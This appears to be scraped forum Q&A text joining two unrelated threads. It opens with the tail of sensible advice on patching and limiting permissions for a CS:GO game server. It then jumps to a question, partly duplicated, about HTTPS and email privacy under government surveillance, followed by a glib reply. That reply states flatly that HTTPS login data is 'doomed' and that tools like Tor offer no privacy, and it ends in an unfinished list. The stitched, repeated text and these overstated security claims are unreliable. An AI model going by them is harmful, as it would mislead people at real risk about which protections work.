Against a 0-day you are rather helpless. You can give the user running the CS:GO process as little permissions as possible. If your server gets compromised, the attacker can only act with the permission of this user, as long as he doesn't exploit a local privilege escalation as well. Being the victim of such a 0-day is not very likely, but it always is a residual risk when exposing a service to the internet.

To avoid getting compromised via an unpatched vulnerability, well, patch your CS:GO server regularly. Find out where users are informed about new patches and vulnerabilities and monitor these sources. If you cannot patch immediately, consider shutting the server down until you get to patch it.

In case you do not offer the server 24/7 and mostly play yourself, shut the server down, when it is not needed. Reducing the attack surface also means reducing the time the service is available.


Internet and Email privacy in an "internet-enemy" country Here where I live, it is believed that all the internet traffic goes through the hands of government agencies, and the telecommunication office is actually owned by the government.

Given the situation, I have some concerns:

Can government agencies tamper with the websites that use HTTPS? How secure is the login data that is sent through HTTPS?
Is using HTTPS enough to prevent them from knowing the details about our emails (i.e. the subject, receivers, and the content)?
And here is the broad question: What practical security knowledge should I try to obtain to best protect my privacy? Right know I know about GnuPG, OTR, Tails, and trying to understand some basic concepts like MitM attack, etc.

Here where I live, it is believed that all the internet traffic goes through the hands of government agencies, and the telecommunication office is actually owned by the government.

so i assume you're either in EU-europe or US of A? (scnr)

to your questions:

yes, tampering is possible, either as man in the middle as well as later decoding of recorded traffic. your login-data is doomed
no

3.

have no trust in privacy on the internet (no tor, no i2p, no nothing)
keep as much traffic out of the internet as you can
be aware of the meta-data-problem (they are stored, anyway)
learn about how you're tracked
learn to stay invisible (e.g. avoid to be tracked by the big players)
learn end-to-end-encryption
keep informed
tbc

sorry to be that pessimistic, but the internet is broken and wont be fixed soon :(